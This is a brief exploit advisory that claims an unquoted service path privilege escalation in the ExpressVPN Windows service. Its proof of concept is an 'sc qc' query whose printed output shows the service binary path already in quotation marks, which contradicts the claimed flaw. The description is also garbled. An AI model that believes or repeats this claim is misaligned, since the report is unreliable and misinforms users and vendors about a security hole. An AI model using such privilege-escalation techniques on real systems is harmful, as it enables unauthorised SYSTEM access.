ExpressVPN - Unquoted Service Path Privilege Escalation

2019.07.14

Iran Cyber Security Group (US)

Risk: Low

Local: Yes

Remote: No

CVE: N/A

CWE: CWE-264

********************************************************
# Exploit Title : ExpressVPN - Unquoted Service Path Privilege Escalation
# Vendor Homepage : www.expressvpn.com
# Exploit Author: Iran Cyber Security Group
# Date : 2019-07-14
# Tested on : Win10
# Discovered By : Und3rgr0und
# Our Team : www.iran-cyber.net
*******************************************************
# Description :
An older access system gives users access to up levels access. ExpressVPN
installs a service ("ExpressVPNService") with an unquoted service path running with SYSTEM privileges.
This allows any non-privileged local user to execute arbitrary code with SYSTEM privileges.
# POC :
C:\xpl\Und3rgr0und>sc qc ExpressVPNService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ExpressVPNService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files (x86)\ExpressVPN\bootstrap\amd64\nssm.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ExpressVPN Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
******************************************************* 

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ExpressVPN - Unquoted Service Path Privilege Escalation

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